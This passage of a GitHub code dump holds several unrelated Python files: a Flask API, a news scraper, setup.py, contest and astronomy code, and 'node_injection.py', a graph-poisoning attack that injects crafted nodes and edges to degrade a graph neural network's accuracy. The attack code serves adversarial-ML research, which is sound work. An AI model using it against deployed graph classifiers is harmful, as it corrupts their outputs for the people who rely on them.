simpledialog\n\nROOT = tk.Tk()\n\n\nROOT.withdraw()\n# the input dialog\nUSER_INP = simpledialog.askstring(title=\"Test\", prompt=\"Sheet ID\")\n\n# check it out\nprint(\"Hello\", USER_INP)\nsheet_id = USER_INP\n\"\"\"\n","repo_name":"QuickCactuss/BC_Performance_tracking","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5231793743","text":"from flask import Flask\nfrom flask_restful import reqparse, abort, Api, Resource\nfrom example_data import ANIMATION_DATA\n\napp = Flask(__name__)\napi = Api(app)\n\ndef abort_if_anim_data_doesnt_exist(anim_id: str):\n if anim_id not in ANIMATION_DATA:\n abort(404, message=\"Animation ID: {} doesn't exist\".format(anim_id))\n\nparser = reqparse.RequestParser()\n\nclass AnimationData(Resource):\n def get(self):\n return ANIMATION_DATA\n\nclass EachAnimationData(Resource):\n def get(self, anim_id: str):\n abort_if_anim_data_doesnt_exist(anim_id)\n return ANIMATION_DATA[anim_id]\n\n\n##\n## Actually setup the Api resource routing here\n##\napi.add_resource(AnimationData, '/animation')\napi.add_resource(EachAnimationData, '/animation/<anim_id>')\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"image-jnu/signlanguage-converter__api-server","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20021368008","text":"def join():\n import os\n import re\n\n all_image_path = \"../../datasets/all_images.txt\"\n all_caption_path = \"../../datasets/captions.token.txt\"\n\n out_path = \"../../datasets/ddmd.token.txt\"\n\n data = \"\"\n\n with open(all_image_path) as fh1, open(all_caption_path) as fh2:\n # for line1, line2 in zip(fh1, fh2):\n # # line1 from abc.txt, line2 from test.txtg\n # if (line2 != '\\n'):\n # data = data + line1.rstrip('\\n') + '\\t' + line2\n\n for line1 in fh1:\n with open(all_caption_path) as fh2:\n for line2 in fh2:\n if (line2 != '\\n'):\n data = data + line1.rstrip('\\n') + '\\t' + line2\n\n with open(out_path, 'w') as outfile:\n outfile.write(data)\n outfile.write(\"\\n\")\n\n# if __name__ == \"__main__\":\n# join()\n\n","repo_name":"Ezan/ThesisProject","sub_path":"DDMD/app/v1/caption_image_join.py","file_name":"caption_image_join.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8210863827","text":"import torch\nimport numpy as np\nimport pandas as pd\nfrom deeprobust.graph.defense import GCN\nfrom deeprobust.graph.utils import accuracy\nfrom deeprobust.graph import utils\nfrom copy import deepcopy\nimport scipy.sparse as sp\nfrom utils import *\nimport os\nimport random\nfrom deeprobust.graph.data import Dataset\n\nfrom ga_homophily import SGA_homophily\nfrom utils import poisoning_test\n\n\nclass NI:\n def __init__(self, features, adj, labels, surrogate, model, use_predict_labels, homophily_ratio, pred_labels, zeroone_features):\n self.surrogate = surrogate\n self.model = model\n self.features = deepcopy(features)\n self.modified_features = deepcopy(features)\n self.adj = deepcopy(adj)\n self.modified_adj = deepcopy(adj)\n self.labels = labels\n self.classes = list(set(labels))\n self.injected_nodes_classes = []\n self.injected_nodes_origin = []\n self.n_class = len(set(labels))\n self.features_dim = features.shape[1]\n self.nnodes = adj.shape[0]\n self.ori_nodes = []\n self.mean_degree = int(adj.sum() / self.nnodes) + 1\n # feature-attack budget\n self.average_features_nums = np.diff(features.tocsr().indptr).mean()\n # Construct the statistical information of features\n self.get_sorted_features(use_predict_labels, zeroone_features)\n self.major_features_nums = int(self.average_features_nums)\n self.major_features_candidates = self.features_id[:, :self.major_features_nums]\n # degree sampling related\n sample_array1 = np.zeros(self.nnodes, dtype='int')\n for i in range(self.nnodes):\n current_degree1 = int(adj[i].sum())\n # maximal link-attack budget: max(current degree, 2 * mean degree)\n mean_d = self.mean_degree * 2\n if current_degree1 >= mean_d:\n sample_array1[i] = mean_d\n else:\n sample_array1[i] = current_degree1\n self.sample_array1 = sample_array1\n self.ratio = homophily_ratio\n self.pred_labels = pred_labels\n self.homophily_index = []\n self.homophily_decrease_score = []\n self.homophily_score = []\n\n # Statistical information of features of each class\n def get_sorted_features(self, use_predict_labels, zeroone_features):\n MAX_N = 100\n features_id = []\n feature_avg = []\n for label in self.classes:\n if use_predict_labels:\n label_features = self.features[self.pred_labels == label].toarray()\n zeroone_label_features = zeroone_features[self.pred_labels == label].toarray()\n else:\n label_features = self.features[self.labels == label].toarray()\n zeroone_label_features = zeroone_features[self.labels == label].toarray()\n count = zeroone_label_features.sum(0)\n real_count = label_features.sum(0)\n count[count == 0] = 1\n current_avg = real_count / count\n df = pd.DataFrame(columns=['count', 'features_id'],\n data={'count': count[count.nonzero()[0]], 'features_id': count.nonzero()[0]})\n df = df.sort_values('count', ascending=False)\n df.name = 'Label ' + str(label)\n features_id.append(df['features_id'].values[:MAX_N])\n feature_avg.append(current_avg)\n self.features_id = np.array(features_id)\n self.feature_avg = np.array(feature_avg)\n\n # Contruct adversarial features based on the assigned label\n # Currently, n_added is only work on n_added = 1, which is the sequential generation\n def make_statistic_features(self, added_node, n_added, n_added_labels=None, rand=True):\n if rand:\n labels = np.random.choice(self.classes, n_added)\n else:\n labels = n_added_labels\n self.injected_nodes_classes[added_node] = labels[0]\n n_added_features = np.zeros((n_added, self.features_dim))\n for i in range(n_added):\n n_added_features[0][self.major_features_candidates[labels[0]]] = self.feature_avg[0][\n self.major_features_candidates[labels[0]]]\n return n_added_features\n\n # weight matrices of SGC model\n def get_linearized_weight(self):\n W = self.surrogate.gc1.weight @ self.surrogate.gc2.weight\n return W.detach().cpu().numpy()\n\n # Obtain the initial single-link attack candidate\n # Remove the corresponding links with the same label\n def get_potential_edges(self, use_predict_labels, added_node_label):\n new_candadite = []\n if use_predict_labels:\n [new_candadite.append(i) for i in deepcopy(self.homophily_index) if\n not i in np.where(self.pred_labels == added_node_label)[0]]\n else:\n [new_candadite.append(i) for i in deepcopy(self.homophily_index) if\n not i in np.where(self.labels == added_node_label)[0]]\n new_candadite = np.array(new_candadite)\n size = int(len(new_candadite))\n return np.column_stack((np.tile(self.nnodes, size), new_candadite[:size]))\n\n # Calculate the attack score of corresponding adversarial links\n def get_edges_scores_ranks(self, potential_edges, modified_adj, modified_features, use_predict_labels, idx_test):\n modified_adj = modified_adj.tolil()\n fw = modified_features @ self.W\n edges_scores = []\n labels = []\n labels.extend(self.labels)\n labels.extend(self.injected_nodes_classes)\n labels = np.array(labels)\n self.n_added_labels = labels\n for current_array in potential_edges:\n current_array = np.array(current_array).flatten()\n ori_node = current_array[0]\n temp = 1\n n_added_node_list = []\n while temp < len(current_array):\n n_added_node_list.append(current_array[temp])\n temp += 2\n n_added_node_list = sorted(list(set(n_added_node_list)))\n\n for kkk in range(len(n_added_node_list)):\n modified_adj[n_added_node_list[kkk], ori_node] = 1\n modified_adj[ori_node, n_added_node_list[kkk]] = 1\n modified_adj_norm = utils.normalize_adj(modified_adj)\n\n logits = (modified_adj_norm @ modified_adj_norm @ fw)\n predict_class = logits.argmax(1)\n if use_predict_labels:\n surrogate_losses = -np.sum([predict_class[i] != self.pred_labels[i] for i in idx_test])\n else:\n surrogate_losses = -np.sum([predict_class[i] != labels[i] for i in idx_test])\n edges_scores.append(surrogate_losses)\n\n for kkk in range(len(n_added_node_list)):\n modified_adj[n_added_node_list[kkk], ori_node] = 0\n modified_adj[ori_node, n_added_node_list[kkk]] = 0\n return edges_scores, potential_edges\n\n # Construct the adversarial adj matrix based on the adversarial links\n def get_modified_adj_by_edges_ranks(self, modified_adj, scores, edges, verbose=True):\n edges = np.array(edges)\n scores = np.array(scores)\n temp = 1\n modified_adj = modified_adj.tolil()\n ori_node = edges[0]\n while temp < len(edges):\n n_added_node = edges[temp]\n self.ori_nodes.extend([n_added_node])\n modified_adj[n_added_node, ori_node] = 1\n modified_adj[ori_node, n_added_node] = 1\n temp += 2\n if verbose:\n print(\"Edge perturbation: {} , loss: {}\".format(edges, scores))\n return modified_adj.tocsr()\n\n # Parameter initialization\n def train_init(self, linearized=True):\n if linearized:\n self.W = self.get_linearized_weight()\n\n # Main attack function\n def attack_edges(self, n_added, mean_degree, use_predict_labels, global_iterations, pc, pm, population_size, idx_test, verbose=True):\n # generate the link-attack budget\n selected_degree_distrubution = random.sample(list(self.sample_array1), n_added)\n # sequential injection attacks\n for added_node in range(n_added): # 0 ~ n_added - 1\n if selected_degree_distrubution[added_node] > 2 * mean_degree:\n selected_degree_distrubution[added_node] = int(2 * mean_degree)\n if verbose:\n print(\"\\n\\n##### Attack injected node with ID {} #####\".format(\n added_node))\n print(\"##### Performing {} edges #####\".format(selected_degree_distrubution[added_node]))\n # randomly assign a label to current new node\n added_node_label = np.random.choice(self.classes, 1)[0]\n self.injected_nodes_origin.append(added_node_label)\n self.injected_nodes_classes.append(added_node_label)\n # generate the features to current new node\n added_node_feature = self.make_statistic_features(added_node, 1, [added_node_label], False)\n # reshape the matrices\n modified_adj = utils.reshape_mx(deepcopy(self.modified_adj),\n shape=(self.nnodes + 1, self.nnodes + 1)).tolil()\n modified_features = sp.vstack((self.modified_features, added_node_feature)).tocsr()\n # construct the single-link attack list\n first_potential_edges = self.get_potential_edges(use_predict_labels, added_node_label)\n\n\n edges_ranks_score, edges_ranks = self.get_edges_scores_ranks(first_potential_edges, modified_adj,\n modified_features, use_predict_labels, idx_test)\n\n\n\n edges_ranks_zip = zip(edges_ranks_score, self.homophily_decrease_score[edges_ranks[:, 1]], edges_ranks)\n edges_ranks_zip = sorted(edges_ranks_zip,\n key=lambda edges_ranks_zip: (edges_ranks_zip[0], -edges_ranks_zip[1]))\n edges_ranks_scores_list = list(zip(*edges_ranks_zip))\n edges_ranks = np.array(edges_ranks_scores_list[2])\n fianl_potential_edges = edges_ranks[0: int(len(edges_ranks) * self.ratio)]\n best_single_link_loss = edges_ranks_scores_list[0][0]\n\n\n # begin genetic algorithm to find the optimal neighbors\n if selected_degree_distrubution[added_node] != 1:\n sga = SGA_homophily(selected_degree_distrubution[added_node], pc, pm, population_size,\n fianl_potential_edges, self.homophily_decrease_score, remove_duplicate=True)\n\n\n parents_pop = sga.initialize()\n\n current_iters = 0\n elite_edge_score = 0\n iters = global_iterations\n while current_iters < iters:\n # if current_iters % (iters/10) == 0:\n # print('\\n\\ncurrent iters: ', current_iters)\n # print('current best loss: ', elite_edge_score)\n crossed_pop = sga.crossover_operation(parents_pop)\n mutation_pop = sga.mutation_operation(crossed_pop)\n edges_ranks_score, edges_ranks = self.get_edges_scores_ranks(mutation_pop, modified_adj,\n modified_features,\n use_predict_labels, idx_test)\n elite_pop, elite_score = sga.elite_selection(mutation_pop, edges_ranks_score)\n elite_edge, elite_edge_score = sga.find_the_best(elite_pop, elite_score)\n parents_pop = elite_pop\n current_iters += 1\n else: # if only need to attack 1 edge, we can directly use the output of single-link attacks and do not need to employ GA\n elite_edge = fianl_potential_edges[0]\n elite_edge_score = best_single_link_loss\n elite_edge = np.array(elite_edge).flatten()\n # obtain the final adj\n modified_adj = self.get_modified_adj_by_edges_ranks(modified_adj, elite_edge_score, elite_edge)\n # update homophily related information\n tag_id = 1\n if use_predict_labels == True:\n tmp = self.pred_labels\n else:\n tmp = self.labels\n tmp = tmp.tolist()\n tmp.extend(self.injected_nodes_origin)\n tmp = np.array(tmp)\n while tag_id < len(elite_edge):\n current_neighbors = np.where(modified_adj.A[elite_edge[tag_id]] == 1)[0]\n current_neighbors = list(current_neighbors)\n current_neighbors.remove(self.nnodes)\n current_neighbors_len = len(np.where(modified_adj.A[elite_edge[tag_id]] == 1)[0]) - 1\n current_samelabel_neighbors_len = len(\n np.where(tmp[current_neighbors] == tmp[elite_edge[tag_id]])[0])\n self.homophily_score[elite_edge[tag_id]] = current_samelabel_neighbors_len / (\n current_neighbors_len + 1)\n self.homophily_decrease_score[elite_edge[tag_id]] = current_samelabel_neighbors_len / (\n current_neighbors_len * current_neighbors_len + current_neighbors_len)\n tag_id += 2\n self.homophily_index = np.argsort(-np.array(self.homophily_decrease_score))\n\n # inject the current node to the original adj and f matrices\n self.modified_features = modified_features\n self.modified_adj = modified_adj\n self.nnodes = self.nnodes + 1\n if verbose:\n print(\"##### Injected node with ID {} is attacked finished #####\".format(added_node))\n\n # Begin the attacks and final evaluation\n def train(self, n_added, time_, mean_degree, features, adj, file1, file2, use_predict_labels, global_iterations, pc, pm, population_size, idx_train, idx_val, idx_test, verbose=True):\n self.train_init()\n self.attack_edges(n_added, mean_degree, use_predict_labels, global_iterations, pc, pm, population_size, idx_test, verbose)\n print('\\nFinish attacks\\n')\n\n poisoning_test(self, time_, features, adj, idx_train, idx_val, idx_test)\n modified_features = self.modified_features\n modified_adj = self.modified_adj\n # save corresponding matrices\n sp.save_npz(file1, modified_adj)\n sp.save_npz(file2, modified_features)\n\n\n\n","repo_name":"alexfanjn/GANI","sub_path":"node_injection.py","file_name":"node_injection.py","file_ext":"py","file_size_in_byte":14490,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"23985096595","text":"#!/usr/bin/env python\n\nimport io\nimport re\nfrom setuptools import setup, find_packages\nfrom setuptools.command.develop import develop as BaseDevelop\nfrom setuptools.command.sdist import sdist as BaseSDist\n\nwith io.open('README.md', 'rt', encoding='utf8') as f:\n readme = f.read()\n\nwith io.open('kerko/__init__.py', 'rt', encoding='utf8') as f:\n version = re.search(r\"__version__ = '(.*?)'\", f.read()).group(1)\n\n\nclass CompileCatalogMixin():\n \"\"\"\n Compile MO files with Babel's ``compile_catalog`` command.\n\n This happens after installing in development mode, or before building sdist\n and wheel.\n \"\"\"\n\n # Note: Inspired by WTForms.\n\n def run(self):\n is_develop = isinstance(self, Develop)\n\n if not is_develop:\n self.run_command('compile_catalog')\n\n super().run()\n\n if is_develop and not self.uninstall:\n self.run_command('compile_catalog')\n\n\nclass Develop(CompileCatalogMixin, BaseDevelop):\n pass\n\n\nclass SDist(CompileCatalogMixin, BaseSDist):\n pass\n\n\nsetup(\n name=\"Kerko\",\n version=version,\n url=\"https://github.com/whiskyechobravo/kerko\",\n project_urls={\n \"Documentation\": \"https://github.com/whiskyechobravo/kerko\",\n \"Code\": \"https://github.com/whiskyechobravo/kerko\",\n \"Issue tracker\": \"https://github.com/whiskyechobravo/kerko/issues\",\n },\n author=\"David Lesieur\",\n author_email=\"kerko@whiskyechobravo.com\",\n description=(\n \"A Flask blueprint that provides a faceted search interface \"\n \"for bibliographies based on Zotero.\"\n ),\n long_description=readme,\n long_description_content_type='text/markdown',\n packages=find_packages(),\n include_package_data=True,\n python_requires=\">=3.6\",\n install_requires=[\n \"Babel>=2.6.0\",\n \"Bootstrap-Flask>=1.0.10\",\n \"Flask>=1.0.2\",\n \"Flask-BabelEx>=0.9.3\",\n \"Flask-WTF>=0.14.2\",\n \"Jinja2>=2.10.1\",\n \"Pyzotero>=1.4.1\",\n \"Werkzeug>=0.15.3\",\n \"Whoosh>=2.7.4\",\n \"wrapt>=1.10.0\",\n \"WTForms>=2.2\",\n ],\n setup_requires=[\n 'Babel>=2.6.0',\n ],\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Environment :: Web Environment\",\n \"Framework :: Flask\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Education\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Topic :: Database :: Front-Ends\",\n \"Topic :: Education\",\n \"Topic :: Internet :: WWW/HTTP :: Dynamic Content\",\n \"Topic :: Internet :: WWW/HTTP :: Indexing/Search\",\n \"Topic :: Scientific/Engineering\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n entry_points={\n 'flask.commands': ['kerko=kerko.cli:cli'],\n },\n message_extractors={\n 'kerko':\n [\n ('**.py', 'python', None),\n (\n '**.jinja2', 'jinja2', {\n 'extensions':\n 'jinja2.ext.autoescape, jinja2.ext.with_, jinja2.ext.do, jinja2.ext.i18n',\n }\n ),\n ],\n },\n cmdclass={\n 'develop': Develop,\n 'sdist': SDist,\n }\n)\n","repo_name":"linhnguyen817/pd-publications-kerko","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69865131451","text":"import requests\nimport pymysql.cursors\nimport time\nfrom bs4 import BeautifulSoup\nfrom lxml import html, etree\n\n# Definition der beiden \"Durchsuchungsobjekte\" die ihre jeweilige Baumstruktur dursuchen werden.\n# zeit.de\nzon_parser = etree.HTMLParser()\n# nzz.ch\nnzzon_parser = etree.HTMLParser()\n# hon.com\nhon_parser = etree.HTMLParser()\n# tagon.de\ntagon_parser = etree.HTMLParser()\n# dwon.com\ndwon_parser = etree.HTMLParser()\n\n# Methode zur Ermittlung des Datums und der Uhrzeit des Scraps. Sie wird später bei der Erstellung des Dateinamens\n# verwendet.\n\ndef get_date():\n\n # Aktuelle Uhrzeit\n localtime = time.asctime(time.localtime(time.time()))\n # Die Buchstaben des Monats stehen an Stelle 4, 5 und 6 in der Liste localtime.\n month = localtime[4] + localtime[5] + localtime[6]\n # Die Tageszahlen stehen an Stelle 8 und 9 in der Liste localtime.\n day = localtime[8] + localtime[9]\n # Die Stundezahlen stehen an Stelle 11 und 12 in der Liste localtime.\n hour = localtime[11] + localtime[12]\n # Die Minutenzahlen stehen an Stelle 14 und 15 in der Liste localtime.\n minute = localtime[14] + localtime[15]\n # Die Jahreszahlen steht an Stelle 20, 21, 22 und 23 in der Liste localtime.\n year = localtime[20] + localtime[21] + localtime[22] + localtime[23]\n date = \"{}_{}_{}_{}{}\".format(year, month, day, hour, minute)\n\n return date\n\n# Definition der Dateinamen, die sich aus dem aktuellen Datum und der Uhrzeit ergeben.\nzon_filestring = get_date() + \"_\" + \"zon_soup_scrap.xml\"\nnzzon_filestring = get_date() + \"_\" + \"nzzon_soup_scrap.xml\"\nhon_filestring = get_date() + \"_\" + \"hon_soup_scrap.xml\"\ntagon_filestring = get_date() + \"_\" + \"tagon_soup_scrap.xml\"\ndwon_filestring = get_date() + \"_\" + \"dwon_soupscrap.xml\"\n\n# Methode zum Schreiben des HTML Contents einer Webseite in eine xml Datei. Erwartet die zu scrapende URL als String.\n# Das Speichern ist notwendig da sonst nicht gezielt auf Tags zurückgegriffen werden kann, es kommt zu einem\n# Synchronisationsfehler.\n\ndef soup_scrap(url):\n\n # Definition der Abfrage des Web-Inhalts\n url_content = requests.get(url)\n # Definition der Ausgabe des von BeatifulSoup4 bereitgestellten Web-Inhalts.\n site_content = BeautifulSoup(url_content.content, features=\"lxml\")\n output = site_content\n\n # Festlegen welcher Dateiname, in Abhängigkeit von der gecrappten Seite, gewählt werden soll.\n if url == \"https://www.zeit.de/index\":\n with open(zon_filestring, \"w\") as file:\n file.write(str(output))\n return file\n\n if url == \"https://www.handelsblatt.com\":\n with open(hon_filestring, \"w\") as file:\n file.write(str(output))\n return file\n\n if url == \"https://www.tagesschau.de\":\n with open(tagon_filestring, \"w\") as file:\n file.write(str(output))\n return file\n\n if url == \"https://www.dw.com/de/top-stories/s-9077\":\n with open(dwon_filestring, \"w\") as file:\n file.write(str(output))\n return file\n else:\n\n with open(nzzon_filestring, \"w\") as file:\n file.write(str(output))\n return file\n\n\n# Auslösen des jeweiligen Scraps.\nsoup_scrap('https://www.zeit.de/index')\nsoup_scrap('https://www.nzz.ch')\nsoup_scrap('https://www.handelsblatt.com')\nsoup_scrap('https://www.tagesschau.de')\nsoup_scrap('https://www.dw.com/de/top-stories/s-9077')\n\n# Definition des jeweiligen Baumobjekts und Zuweisung des zugehörigen Durchsuchungsobjekts.\nzon_tree = etree.parse(zon_filestring, zon_parser)\nnzzon_tree = etree.parse(nzzon_filestring, nzzon_parser)\nhon_tree = etree.parse(hon_filestring, hon_parser)\ntagon_tree = etree.parse(tagon_filestring, tagon_parser)\ndwon_tree = etree.parse(dwon_filestring, dwon_parser)\n\n# Xpath-Ausdruck gibt den Text aller Baumknoten wieder, die das definierte Tag haben. Das durch das Tag\n# wiedergegebene Element ist ein String, der in der Elementliste (xxx_elem_xxx) gespeichert wird.\nzon_elem_text = zon_tree.xpath('//p[@class=\"zon-teaser-standard__text\"]/text()')\nzon_elem_title = zon_tree.xpath('//span[@class=\"zon-teaser-standard__title\"]/text()')\nzon_elem_author = zon_tree.xpath('//span[@class=\"zon-teaser-standard__byline\"]/text()')\nzon_list = [zon_elem_title, zon_elem_text, zon_elem_author, 'Zeit']\n\n# nzz.ch(database ready)\nnzzon_elem_text = nzzon_tree.xpath(\n '//div[@class=\"teaser__lead teaser__lead--2of3 teaser__lead--longformstandard\"]/text()')\nnzzon_elem_title = nzzon_tree.xpath('//span[@class=\"teaser__title-name\"]/text()')\nnzzon_elem_author = nzzon_tree.xpath('//span[@class=\"metainfo__item metainfo__item--author\"]/text()')\nnzzon_list = [nzzon_elem_title, nzzon_elem_text, nzzon_elem_author, 'Neu Zuericher Zeitung']\n\n# hon.com(database ready)\nhon_elem_text = hon_tree.xpath('//p[@class=\"vhb-teaser-content\"]/text()')\nhon_elem_title = hon_tree.xpath('//span[@class=\"vhb-headline\"]/text()')\nhon_elem_author = hon_tree.xpath('//span[@class=\"vhb-author\"]/text()')\nhon_list = [hon_elem_title, hon_elem_text, hon_elem_author, 'Handelsblatt']\n\n# tagesschau.de(database ready)\ntagon_elem_text = tagon_tree.xpath('//p[@class=\"teasertext\"]/text()')\ntagon_elem_title = tagon_tree.xpath('//h4[@class=\"headline\"]/text()')\ntagon_elem_author = tagon_tree.xpath('//em')\ntagon_list = [tagon_elem_title, tagon_elem_text, tagon_elem_author, 'Tagesschau']\n\n# dwon.com (Hier muss ich mir noch eine bessere Verarbeitung der gescrapten Daten überlegen. Vorerst auslassen)\ndwon_elem_text = dwon_tree.xpath('//p/text()')\n\n# Methode zum Einlesen von Elementen in die MySQL Datenbank.\n# @param list: Liste von Strings zu bestimmten Scraps, enthält vier Elemente.\n\ndef write_to_database(list):\n\n # Definition der Parameter für die Verbindug mit dem Host der Datenbank.\n connection = pymysql.connect(host='localhost', user='root', password='', database='html_scrapping',\n charset='utf8mb4')\n\n # Das Schreiben der Daten wird in einem try und finally Block abgewickelt damit Exceptions abgefangen werden können.\n # Außerdem kann damit ein Schließen der Verbindung sicher gestellt werden.\n try:\n\n with connection.cursor() as cursor:\n\n # Definition der von pymySQL genutzten Expressions um die Datenbank zu befüllen\n # als Variable zur besseren Leserlichkeit.\n author = \"INSERT INTO autor(name) VALUES(%s)\"\n article = \"INSERT INTO artikel(schlagzeile, artikeltext) VALUES(%s, %s)\"\n source = \"INSERT INTO quelle(bezeichnung) VALUES(%s)\"\n scrap_time = \"INSERT INTO datum(einlesezeitpunkt) VALUES(%s)\"\n\n # Zuweisen der Änderungen der Datenbank.\n cursor.execute(author, list[2])\n cursor.execute(article, list[0], list[1])\n cursor.execute(source, list[3])\n cursor.execute(scrap_time, get_date())\n\n # Bestätigung der zugewiesenen Änderungen\n connection.commit()\n\n # Schließen der Verbindung\n finally:\n connection.close()\n\n\n\n# HILFSMETHODE\n# Methode zur Überprüfung der Formatierung der gescrappten Daten. Sie dient lediglich zum Debugging von Formatfehlern.\n\ndef search_tree(filename):\n\n # Schreibe die Datei mit gegebenen Daten in gegebenes Format.\n with open(filename, \"w+\") as file:\n for i in range(0, len(zon_elem_title) - 1):\n file.write(\"{}{}{}{}\".format(zon_elem_title[i], \"\\n\", zon_elem_text[i], \"\\n\\n\"))\n\n return file\n","repo_name":"iovskIgri/HTML-Scrapping","sub_path":"Code/aio_scrap.py","file_name":"aio_scrap.py","file_ext":"py","file_size_in_byte":7404,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71048811771","text":"import math\n\nn,m=map(int,input().split())\nmod = 1000000007\n\nif m==1:\n print(1)\n exit()\n\ndic = {}\np = 2\nwhile True:\n if m==1:\n break\n if p > math.floor(math.sqrt(m))+1:\n if dic.get(m) is None:\n dic[m] = 1\n else:\n dic[m] += 1\n break\n if m % p == 0:\n if dic.get(p) is None:\n dic[p] = 1\n else:\n dic[p] += 1\n m = m//p\n p=1\n p+=1\n\ndef pow(n,e):\n ret=1\n b=n\n while e > 0:\n if e % 2 == 1:\n ret = ret * b % mod\n b = b * b % mod\n e = e//2\n return ret\n \ndef inv(n):\n return pow(n,mod-2)\n\ndef nck(n,k):\n ret = 1\n for i in range(1,k+1):\n ret *= (n-i+1) % mod\n ret %= mod\n ret *= inv(i) % mod\n ret %= mod\n return ret\n \nret=1\nfor x in dic.keys():\n ret = (ret * nck(n+dic[x]-1,min(n-1,dic[x]))) % mod\n\nprint(ret)\n","repo_name":"ayanamizuta/cpro","sub_path":"atcoder/abc/abc110/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35997442100","text":"import numpy as np\nimport matplotlib.pyplot as plt\nplt.ion()\nplt.rc('text', usetex=True)\nplt.rc('font', family='serif')\nimport astropy.units as u\nfrom astropy.time import Time\nfrom astropy.coordinates import SkyCoord, EarthLocation, AltAz\nfrom astropy.coordinates import get_sun\nfrom astropy import constants as const\nimport scipy.optimize as opt\nimport math as m\nimport time\n\n'''\nREAD ME\n-------\nThere are three classes: Fit, BMXSim, and Dish. \nUse by initializing a Fit object.\n\nimport fringefit as ff\nf = ff.Fit()\n\nHere you may specify the tag, the frequency and time window, and whether you would like to fit to data or a simulation.\nIf the data is not specified, it is assumed that you will generate a simulation.\nA simulation and four dishes (NESW) are initialized as: f.sim, f.sim.dn, f.sim.de, f.sim.ds, f.sim.dw\nSet simulation parameters and run: f.gensim(dish0,dish1) (OR skip this step if fitting to data)\n\nThen run the fit: params = f.dofit()\n'''\n\nclass Fit():\n\n def __init__(self, tag='190301', data=None, label=None, fstart=1.1e9, fstop=1.5e9, tstart=None, tstop=None):\n self.label = label\n self.sim = BMXSim(tag[0:6])\n self.sim.fstart = fstart\n self.sim.fstop = fstop\n if tstart is not None and tstop is not None: \n self.sim.tstart = tstart\n self.sim.tstop = tstop\n elif len(tag)>6: \n if tstart is None: self.sim.tstart = int(tag[7:9])\n if tstop is None: self.sim.tstop = int(tag[7:9])+1\n if data is None: # if data is not specified then generate simulated data to fit\n self.usesim = True\n print('Use self.sim to specify simulation parameters.\\nThen run self.gensim(dish0,dish1).')\n else:\n self.usesim = False\n self.sim.nfreq = data.shape[1]\n self.sim.ntimes = data.shape[0]\n self.sim.getframe()\n self.sim.getcyga()\n self.sim.getfreq()\n self.R_data = data\n\n def dofit(self):\n # completes fit to R_data and returns parameters found\n print('initial fit...')\n t = time.time()\n fit_init = self.fit_all()\n print('find time delay...')\n tau0 = self.fit_tau(fit_init.x[1:])\n print('final fit...')\n fit_fin = self.fit_all(tau0)\n print('...took {:0.1f} sec'.format(time.time()-t))\n return fit_fin\n\n def gensim(self, dish0, dish1):\n # generates a new simulation with parameters set in self.sim\n self.sim.getframe()\n self.sim.getcyga()\n self.sim.getfreq()\n # update dish position and pointing\n dish0.update_pos() # East\n dish0.update_p()\n dish0.update_sigma()\n dish1.update_pos() # West\n dish1.update_p()\n dish1.update_sigma()\n # generate signal\n self.sim.simwf(dish0, dish1)\n self.sim.addnoise()\n self.R_data = self.sim.R_noise[0]\n\n def func(self, tau, a , p0_pol, sigma, bx, by=0):\n tau = tau*1e-9*u.s # time delay, scale tau ns => O(1)\n p_pol = np.array((m.radians(p0_pol), 0)) # pointing errors, deg->radian\n p_az = np.array((m.radians(90), 0))\n sigma = m.radians(sigma) # beam width, deg->radian\n b = np.array((bx,by,0))*u.m # vector between dishes\n # solve for p and v\n p = np.zeros((2,3)) # pointing error unit vectors, two dishes\n v = np.zeros((2, self.sim.ntimes)) # guassian envelope as source passes overhead\n for dish in range(2):\n p[dish] = np.array((np.sin(p_pol[dish])*np.sin(p_az[dish]),np.sin(p_pol[dish])*np.cos(p_az[dish]),np.cos(p_pol[dish])))\n for t in range(self.sim.ntimes):\n v[dish,t] = a*np.exp(-np.dot(self.sim.cyga_s[:,t]-p[dish],self.sim.cyga_s[:,t]-p[dish])/(2*sigma**2))\n # solve for R\n bdots = np.dot(b, self.sim.cyga_s)\n deltaomega = 2*np.pi*self.sim.deltaf\n R = np.zeros((self.sim.ntimes,self.sim.nfreq),dtype=complex)\n for ifreq in range(self.sim.nfreq):\n omega = 2*np.pi*self.sim.freq[ifreq]\n R[:,ifreq] = v[0]*v[1]*np.exp(1j*omega*(tau + bdots/const.c))*np.sinc(deltaomega/2*(tau + bdots/const.c))\n return np.array((R.real,R.imag))\n\n def residual(self, p):\n # residual error for use in scipy.optimize.least_squares\n res = self.R_data - self.func(*p)[0]\n return res.reshape(self.sim.nfreq*self.sim.ntimes)\n\n def fit_all(self,tau_init=1):\n # least squares fit to all parameters, can specify initial tau guess\n # parameter array: (tau, a, p0_pol, p0_az, sigma, bx) -> see func()\n p0 = np.array((tau_init,1,0,2.5,10)) # initial guess\n bounds = np.array(((1e-3,0,-90,0,0),(1e3,2,90,10,20)))\n fit = opt.least_squares(self.residual, p0, bounds=bounds)\n return fit\n\n def sumsqrerr(self,p):\n # sum of squared errors for parameters p\n res = self.R_data - 